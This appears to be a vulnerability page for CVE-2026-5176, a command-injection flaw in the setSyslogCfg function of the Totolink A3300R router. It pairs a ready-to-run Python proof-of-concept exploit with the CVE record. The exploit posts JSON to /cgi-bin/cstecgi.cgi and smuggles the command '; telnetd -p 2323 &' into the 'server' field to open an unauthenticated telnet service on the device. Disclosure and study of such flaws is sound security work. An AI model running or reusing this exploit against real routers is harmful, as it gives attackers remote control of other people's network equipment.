CVE-2026-5176

import requests # Target URL (Replace with actual IP) target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi" # Malicious payload to inject command (e.g., telnetd) # The vulnerability affects the 'setSyslogCfg' function. # We inject a command using a semicolon to break the original logic. payload = { "function": "setSyslogCfg", "action": "start", "logfile": "/tmp/log.txt", "server": "; telnetd -p 2323 &" # Injected command } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0;)" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully. Check if telnet started on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-5176", "sourceIdentifier": "[email protected]", "published": "2026-03-31T02:15:59.803", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in Totolink A3300R 17.0.0cu.557_b20221024. Affected is the function setSyslogCfg of the file /cgi-bin/cstecgi.cgi. Performing a manipulation of the argument provided results in command injection. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks."}, {"lang": "es", "value": "Se ha descubierto una falla de seguridad en Totolink A3300R 17.0.0cu.557_b20221024. Afectada es la función setSyslogCfg del archivo /cgi-bin/cstecgi.cgi. Realizar una manipulación del argumento proporcionado resulta en inyección de comandos. El ataque puede ser iniciado remotamente. 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